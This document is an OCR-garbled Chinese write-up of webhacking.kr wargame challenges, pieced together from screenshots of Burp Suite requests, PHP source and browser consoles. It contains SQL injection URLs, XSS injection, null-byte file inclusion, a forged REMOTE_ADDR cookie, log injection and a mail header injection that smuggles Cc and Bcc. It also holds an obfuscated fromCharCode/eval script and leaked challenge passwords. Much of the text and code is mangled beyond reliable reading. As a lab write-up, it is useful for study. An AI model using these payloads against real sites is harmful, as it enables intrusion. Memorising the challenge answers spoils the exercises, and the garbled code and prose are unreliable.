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SetCookie(
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(eregi( [user_1v]))
[user_1v]>=0) [user_1v]=1;
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‘, Burp Suite Professional v1.5.18 - licensed to LarrylLau

Burp Intruder Repeater Window Help

[Target T Proxy T Spider I Scanner T Intruder IRepeaterI Sequencer T Decoder TComparer T Extender TOptions TAIerts ]
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Request

j RawT Params T Headers T Hex ]

Target: http://webhacking.kr | # u

Response

jRaw T Headers T Hex T HTML T Render 1

GET /challenge/web/web—02/ HITF/1.1

Host: webhacking. lr

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4;
rv:55.0) Gecko/20100101 Firefox/55.0

Aecept:

text/html, application/zhtml+=nl, application/=zml; g=0. 9
LHSq=0.8

Accept-Language: zh—CN. zh:g=0. 8, en-US;g=0.5.en;q=0. 3
Accept—Encoding: gzip, deflate

Cookie: time=1305356553}
PHPSESSID=136de2147ed213%e
td_cooki1e=18445744072591562357
Connection: keep—alive
Upgrade—Insecure—Requests: 1
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Type a search term

0 matches

1,698 bytes | 325 millis

A AR B 8] <t Blerror? 2 7 TG ELFRAT A B A BRAS B2 35 S R S B e TR) L SEAR iR i . AR B S B v R BT DA T

H BT B




ERMR TR T, FEAETIE T table nameZZ =i, REMRBAN T BB, RNBEFEMEH 2?7 FHHE
password%1] 4 flladmin& .. .l 7?2 ?



B/admin/ & AR R 5 2
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] Enable Referrer

"BEISTLAB FOR SECURITY 3

| ABOUT | MEMBERS | RESEARCH | BOARD | FUN STUFF | CONTACT |

-No -Name -Subject -Day
1 oldzombie = o[0] 2009.01.30
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-No -Name -Subject

1 oldzombie =00 2009.01.30
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Puzzle

name : | | write
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@l Load URL | http://webhacking.kr/challenge/web/web-03/index.php?_1=1& 2=0& 3=18& 4=0& 5=18& 6=0& 7=08 8=0& 9=08 10=08 11=08_12=18& 13=1
g}b Split URL _25=1& answer=1010100000011100101011111
4 Execute
Enable Post data [_] Enable Referrer
Post data answer=1010100000011100101011111 || 1&id=aa

Puzzle

name : admin
answer : new_sqgl_injection
ip : localhost
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=str_replace(

(eregi(
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=rand( ', );
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=@mysql_query(




=@mysql_query(
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=@mysql_query(
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=@mysql_query(
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=@mysql_query(

=mysql_fetch_array( )s
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@solve();
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@ Load URL | http://webhacking.kr/challenge/web/web-07/index.php?val=0)union(select(5-3))%3B%23
% Split URL

» Execute

[] Enable Post data [_| Enable Referrer
Not Acceptable

An appropriate representation of the requested resource /challenge/web/web-07/index.php could not be found on this server.

B RATERERMEET . RUARECEBAN, REFE TEKENpayload M B H—#, FEH~




http:

LR SR T B Lselect, —H R E.
LYICS

TR R IFFE R Rindex phps FEE AR

RIZUaMEEN, HESBREUARMBEGF IR, EE TH —FEFEENNRIE, B2 BARINGEEDZRAME ZRIEAN
We? K’ $_SERVER[ 'REMOTE_ADDR' ] XARBANFIEN, BHFHETE, KIUAFFARYHF/KMAE! 7 H ZXKEANKBERZIE
Bl RATA T Einsert#t NME G B R ER SR BT BLE !

MERREENE, BALERSS. ESMHIS! XRFERT

A

-Agent

BRI —%KE R, UARIpAZE, idABRITEAKadmin, AFEFT—REM, WA

-Agent

AT T, Tk
B/rx




RAVEREE R, oA BEFEREIMBE 7128, MEMTTREAREEREE, FREERINFELHE R

¥ <td
a id="hackme” style-"position:relative;left:0;top:@" onclick-"this.style.posleft+=1;if{this.style.posleft==808)this.href="?go="+this.style.posleft” onmoussover
this.innerHTHML="y0u"'" onmouseout="this.innerHTML="0"">0</a> == $0
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Wrong

$pat="1[1-3][a-f]{5}_.*117.61.4.9 "\ip\ta\ts\ts/";

if(preg_match($pat,$ GET][val])) { echo("Password is 2777"); }
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¥ cscript $0

wtf=String.fromCharCode(118,97,114,32,1@1,110,99,111,61,39,39,59,13,10,118,97,114,32,101,110,99,111,5@,61,49,5@,54,59,13, 1@, 118,57,114, 32,181, 11@,99,111,51,61,51,51,59,13,10, 1
18,97,114,32,99,107,61,100,111,99,117,109,101,11@,116,46,85,82,76,46,115,117,98,115,116,114,40,100,111,99,117,109,101,11@,116, 46, 85,82, 76, 46,185,110, 100, 101,126,79, 102,40, 39,6
1,39,41,41,59,13,10,32,13,10,32,13,10,102,111,114, 40,185, 61,49,59,105,60, 49, 50,50, 59,105,43,43,41,13,10,123,13,10,1@1,110,99,111,61,101,116,99,111, 43, 83,116, 114,105,110, 103, 46
,102,114,111,109,67,104,97,114,67,111,100, 101,40,105,44,48,41,59,13,10,125,13,18,32, 13,10, 102,117,110, 99,116, 185,111,118, 32,101,110,99, 111,95, 40,120, 41,13,10,123,13,10,114, 101
,116,117,114,110,32,101,11@,99,111,46,99,104,97,114,67,111,10@,101,65,116,48,128,41,59,13,10,125,13,10, 32,13, 1,105, 182, 40, 99,107, 61,61, 34,61, 34,43, 83,116,114, 165,110, 103, 46,1
02,114,111,109,67,104,97,114,67,111,100,101,48,101,110,99,111,95,48,58, 52, 48,41,41,43, 83,116,114, 105,110,103, 46,102,114,111,109,67,184,97,114,67,111,100,101,48,101,110,99,111,
95,48,50,50,48,41,41,43,83,116,114,105,110, 103,46, 182,114,111, 189,67, 104,97, 114,67,111, 160,101, 48, 161,116,99,111,95,48,58,51,50, 41,41, 43,83, 116, 114,105, 110,103, 46, 102,114,111,
109,67,104,97,114,67,111,180,101,48,101,118,99,111,95,48,49,57,50,41,41,43,83,116,114, 185,110,103, 46,162,114, 111, 109,67, 184,57,114,67, 111, 180, 181, 48,101,118,93,111,95,48, 58, 56
,54,41,41,43,83,116,114,105,110,163,46,102,114,111, 189, 67,184,97,114,67,111, 160, 101,48, 181,110,99,111, 95,40, 58,48, 48,41,41, 43,583,116, 114,105,110, 183,46, 102,114,111, 109,67, 184,
97,114,67,111,100,161,40,181,118,99,111,95,40,58,48,52, 41,41,43, 83,116,114, 185,110,103, 46,162,114, 111,169, 67,184,97,114, 67,111, 180,181, 40, 1e1,11@,99,111,95, 48, 58,50, 50, 45, 58,4
1,41,43,83,116,114,165,110,103,46,182,114,111,169,67,104,97,114,67,111, 188, 181,490,101, 118,99, 111,95, 48, 49,57, 56,41, 41,43, 34,126,126, 126,126,126, 126, 34,43, 83,116,114, 105,118, 16
3,46,102,114,111,189,67,104,97,114,67, 111,100,101, 4@,101,118,99, 111,50, 41, 43,83, 116,114, 185,110, 103, 46, 102, 114, 111, 109, 67,104, 97, 114, 67,111,100, 101, 46,101,110,99, 111,51, 41,41,
13,10,123,13,10,97,108,101,114,116,40, 34,80,97,115,115,119,111,114,16@, 32,185,115, 32,34, 43,99, 107, 46,114,101, 112,1@8,97,99, 101,40, 34,61, 34,44, 34, 34,41,41,59,13,10,125,13,10) ;

eval(wtf);
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return enco.charCodelt(x);

i

J+5tring.fromCharCode(enco_(2
omCharCode(enco_

String.fromCharCode(enco
tring.fromCharCode(enco
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(© webhacking.kr,

webhacking.kr {7~ :

Password is youaregod~~~~~~~ ]
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ul=document.
ul=ul.index0Of(
ul=ul*30;

(ul==pw.input_pwd.value) { alert( +ul*pw.input_pwd.value); }
{ alert( )5 }

B Econsolei iR BT T



®  top ¥ | Filter

document.UR
undefined
document.URL

“"http://webhacking.kr/challenge/javascript/jsl.html”

var ul=document.URL;
ul=ul.indexOFf(".kr");

17

var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*38;

51@
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alert(

history.go(-1);
document.write(
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( [no])

{
(eregi(
=@mysql_fetch_array(mysql_query(
($q[e]== ) (
($q[e]== )

{

@solve();

(
)
)
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= & SQL* XSS~ Encryption~ Encoding® Other

http://webhacking.kr/challenge/web/web-32/index.php?no=0%0aor¥0a1%0alimit¥0a0,1

[] Enable Post data [_] Enable Referrer

SQL INJECTION

L e

O Eindeéx phpd

BRI T —LThK )
BTHAX

HELIR A KB

'a Webhacking.kr X y Challenge 19 x v CSDN-markdownégi X VIE‘ mysqliENEIR_SET X v \Q mysql EN/EHEEE X A { S webhacking 18 - Goc X

script/js6.html?id=23

& X | @ webhacking.kr/challenge

Warning: Cannot modify header information - headers already sent by (output started at fhome/hosting_users/webhacking/www/challenge/javascript/js6.html:11) in
/home/hosting_users/webhacking/wwwy/challenge/javascript/jsé.html on line 28

UARA AR, BT ARERI, BEEET ..
oy o S
E

time limit : 2

nickname |
comment
code

do not programming!
this is javascript challenge
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Hadid, BATELRREN, HEREMAERRLT ..
BT —K
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23] akhmcrpkhmidbshnmjj I3 T A%, RIGHEE KEER, WiA...

s='akhmcrpkhmidbshnmjj"’
for i in range (26):
flag=""
for j in s:
flag+=chr(((oxd(j)-oxd('a’'))+i) $26+oxd('a’'))
print flag

PEEEPAUSE

cmjoetrmjokfdujpoll
dnkpfusnkpl gevkgpmm
colggvtolgmhfwlrgnn
fpmrhwupmrnigzmsroo
ggnsixvgnso jhyntspp
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HERT ...

Bt —%

—AXSSHEH, ZWRTHR, HIT <script> « javascript FER)EZR T 163 HMBHEHIARR, R)5 A htmIFEiLiE 2K
R, AREET . MHIIET HMirE, FLERSET <FBEKERFET2> , BABBERT <a> SXMRFIRIIITE

Your mission is to inject™sscript>alert(1); </script>

I jj Elements  Console  Sources  Network  Performancg  Memory

Sources | Content scripts : 4 index.php?code=«<asz/*
v O top 1 <html>»
; 2| <head>»
v webhacking.kr o .
& J 3| <title»Challnge 23</title>
v challenge/bonus/bonus-3 4| ¢style typf="text/css">
index.php?code=<a> 5| body { bg€kground:black; color:whi
5 input nackground:silver; color:k
</sty,
8|</h

18| <a»<form method=get action=index.f
11| <table border=8 cellpadding=1a>
17 strnctdssinnut nama=srndase fHdses+ds

HREMZRERRR. HMERHET .. FT —TRPNOEE, HE!  XRAAER. XE%008H BN, REANULL
ARG DA A ZA GRS I8 R
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103 163 BX [mﬂ : 3 ER 1 \ 108 163 £X
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13 | 0x0D 5 o0 ] 7 ox0 B 109
1a ox0e 8B o6 o ] e 0w BN 110
| 15 ﬁmF- a7 ﬂsz- 79 | oxeF BN 111
(16 | oxi0 BB 28 [0x30 8 e0 | oxs0 RN 112
_T"[W-"ﬁ_ﬁ-\ a1 | 0x51 NG 113 -
Ci8 (o2 BB 50 oxa2 N2 a2 |ows2 [BAN 114 | ox72 RS
RERLE -j_si_"ﬁa_-{ﬁ”_uﬁa B s | o7

?@-I _54 | mag_“} 66 _nxs_s_-\ __113___&:75_-

25 oo M 57
26 [oxia JSUB) 58 |

27 [oxie [EEE 59 | =1 EBEGE
28 |oxic Sl &0 oac -| 52 |oxsC [l 122 ooc
29 [oxi0 J8SN &1 ox0 ] 3 |oso [l = oo
| 30 [oxiE BEEH e2 [oxoc MR 3¢ [ovoe R 125 | o< [N

http://lureout.tistory.com/515

3| <body>
3| <esecersispetereaslecerete(esle)e;e<e/eseceprsispeter<scripts
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S 11! S

RIVVERD, K5 MBI R I ik BRI At i replace B i this, FONILICHIEANFAERTR, FrUARUER, AFE
Hi&

extract(
extract(
(! [REMOTE_ADDR];

[REMOTE_ADDR])

=str_replace(
=str_replace(

=str_replace(

{
@solve();

-1 L 1 1 1

GET /challenge/bonus/honus-4/ HTTP/1.1
Host: webhacking. kr

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4:; rv:43.0) Gecko/Z0L00Ll0Ll Firefox/43.0
Acecept: text/html,application/xhtml+xml, application/=xml;q=0.9, %/ *;c=0.8
Accept-Languages: zh-CHN, zh;q=0.8,en-U3;q=0.5,en;¢=0.3

Aecept-Encoding: gzip, deflate
Cookie: PHPSESSID=cee73l8f211ddfl5E8aa79037787hecdREMOTE ADDR=10.270..00..00..1
Connection: kesp-alive

F_t+HxK
KR, FIFT %00 SN, 2 3k Afle=hello™] LIE BIEEEL T hello.txt, 754 A8 EL i B php S {2 b A% 17 et AT



&« C' | ® webhacking.kr/challenge/bonus/bonus-5/?file=password.php%00

Challenge 25 password i= — millbye?

R ILIR

FIH T P kurldecode 2= 1t gait
F-t+tx

ERENEH, BH%EIFAEIRENMEindex phps



(eregi(
=@mysql_fetch_array(mysql_query(

($q[id]== ) ( )
($q[id]== ) @solve();

RIGREMEAR T —Fp BB, AN RIES ERANFERT ARG B/ICEAT, FEELAREIEIE

BRAER RS B/HRAEARNFELEadmInX NN, HRFELARRMBEN, BRENBRAFELEFAHF, FRERI 51, B
FRIBHE, m&&payload

WIRIEATT 3 Korder byHE P IX BIEH 73— M 45 BB B, —F 50

A1 H.233
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BET, XARFENITIF—~10000F110100/ 3 & Lsocket, HAM T, FENREMIRS I K IR 5 AR 5%
HEFEREMHAEIL! ! RERE..
EFERNA SRS

<title>Chellange 31</title>

</ head>

<body>

<pre>

Sport=rand(10000,10100) ;

$socket=fsockopen("$ GET[server]",6 "Sport" , Serrno,Serrstr,3) or die("error : Serrstr"):
</ pre>

<hr>

</hody>
</htmls>

SR JE R 55 45 W] LA B R

Listening on any address 18008 (webmin)

Connection from 112.175.11.245:55524
GET /Password is 43faeda/d3ce954 4Z2b4c/1dabtd HTTP/1.6

F=1+_-2x

BRAFIER, —EE, HEH TR KL LR ER, B hit=- REREMERT—ERE0, FHEE 12
ERRK . SEIREVHRITE R, K5 Hburp X BB — Tl T, ERFIMIKRKT, ARZA B 2R, KRR R
ARBICH CRBE AT TIE? HR R Eno, MiZRRETH A%,

WG R Bburp B AFE— AN EH K8 Micookie, ZIATE R T b AIIF Rk AT LLGEE AN BN BIno T

GET /challenge/codeing/code5. html?hit=Assas=sin HTTRE/ /1.1

Host: webhacking. kr

Uzser-Agent: Mozilla/5.0 (Windows NT L0.0; WOWE4; rv:43.0) Gecko/Z01l00101 Firefox/43.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.59,*/*;q=0.8
hecept-Language: zh-CW, zh:;qgq=0.8,en-U5;q=0.5,2n;q=0.3

Aocept-Encoding: gzip, deflate

Referer: http://webhacking.kr/challenge/codeing/codes.html

Cookie: wvote_check=; gd cookie=1844£744070108395350; PHPSESSID=d535030384503436b195eedic3dIlLTE
Connection: keep—alh_

——

RIEEERIZEIE, Rl



RANK  NAME HIT

Assassinilzalle

BOKAERH T M1, BEHHILRIE T cookieMiEXARAE T ...
B=+=K
55 A A VR

#Jid http://webhacking.kr/challenge/bonus/bonus-6/2get=hehe & & T — 515 2] —A-php 34
3\ next/x I8 AT LLAS 23T i php SCHF RIS

=l Load URL | http://webhacking.kr/challenge/bonus/bonus-6/Iv2.php
% Split URL

’ Execute

Enable Post data [ | Enable Referrer

Post data post:hehe
&post2=hehe2

BT T pHiE

XEHOETAMREEMEITE T, FABTE $_SERVER[ 'REMOTE_ADDR' ] /&N Eethif
RIGHENleveldE — T IED



RTR— BB EWAT, JFRE MR &R

RIERE

e/bonus/bonus—6/14. phps>/chal lenge/bonus/bonus—6/14. phps</4

a href=mdb555. php>Next</




—

POST /challenge/bonus/bonus—£/md555. php?imgetK
Host: webhacking. kr

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:43.0) Gecko/Z0Ll00101 Firefox/43.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,*%/*;q=0.8
Aocept-Language: zh-CHN, zh:=0.8,en-U3;qgq=0.5,en;q=0.3

becept-Encoding: gzinp, deflate

Cookie: td coockie=. :p td cookie= v

PHPSESSID=\ Irimcookie=1 '

Connection: keep-alive

Content-Type: application/w-www-form-urlencodsd

Content-Length: 7

imposSt= o —

FREANEXW.. HE....
RJERKTUAR

RABAR T,

Bl ERIEETE. ... T RIRK AMipE /R, ZELANMZEME



SR, WiEwTEE

http:

BET.. B

http:

ATHTRET . EREMN 2K, BOCEE-THRET, BEERERRL T, &5 DERE—DXFERPR DXL
. BOSET

F=1/\XK

EERRN—IEEE, WM AadminaiHfiE, FTHFadminphpida KB HHip RN, FTmadmin, HEZANKE? 2 2 &
log injection.. /A, FRERBEMBH TlogHEM! ! 1 FATA LA B IR Klogfs B!
Eb B AT AR

SRIGELRT AEAE — MR IR B Rip T, soga, fERTER, YRI \nip:admin
F=FARK

E 3R Vi blackout, BEHRLZ R A XHEREA X, EHREZEMAFBE KM LA EA, BRERACHFET?
MREELER, FRBAVEFRVIKIRE, HLmRIEIE— helloXXHERIERHME, RERINMBA—NEZHE, REHED L5
BAT& KM hello.swp3l . cat— THEKI, BMEIREA RFhelloXXHEZFEH N AL R —BU !

-hellolswp

HRAEMAT ...
BT REREBRI.. BERT . A PR A M i
AR Z R EMD5(H T Hip+a i +— 8B £ dlseprtmvpdiwlifmfquswhgkwkglg) e i+ R B2 AERERF, Fin

ERAN E A A A AT



B=THK
Skl A f, WRIRIRIR, ERE—FERASSE, TRS|SRR TG, ST RHRE, MHEAAS

[id])

[id]=str_replace( , [id]);
[id]=str_replace( ) ) [id]);

[id]=substr( [id],0,15);
=mysql_fetch_array(mysql_query(

) @solve();

AR Eh B 1, A T BB AE B mysql B W T PIAE LR AR R

2 BATFI XA BT, g T

RIGELSERL T R
F++Lx
KRBT




[email])

mail(

(
}

RAEHE thRREFH, ZATBA EMIEXNLRR, FA T phpHIERAEN
X BAHER —Mrebufff) E R IFHICE, HELXAMZRAFFAEEXER, XEMA T IAEEN B INCobMENINBbI) #8454 & #
R RIS, 7SR Rt v DU BB AR N A B T JERFREE !

B B T L TP T RSP

I
Content-Length: 77

Email=senderfdomain. com¥0ACe::recipientfdomain. com%0ABcc i recipient lfdomain. com

E Sl lIPS
TURRLE B MRS T . KR



XA T X AanswertA 3,  PiSLiE BB RE A FIE XA R 2R RIERRE —FE. » THHA —Aanswerd BE&EMH1080, 1
BETE&EEA R ERREE VIR SRR T ? MR TFRIIMNE, TRERINEFEEBSRILECconsoleiz T

RBSE T REH B, ARER.. . BEHHRNT

T FNc84da2b0695aaa469bfc36c510c5deS55!

N WIS




BB EsHARIL T T B Ahackme. swf, /5 F&EH it
BB E REAERBSHRE] KRR ML, BFUXADREUSA Eflashh BRAB—RKMARAE, BRXERRE T —LTHK
. Bz HEER

UL

IE T XN

$dhttp://webhacking.kr/challenge/web/web-35/glv2m2passwlrd. phﬂ_sel N |

NTT T
J18)

ps (ERBEBMERT, HELTHERT)
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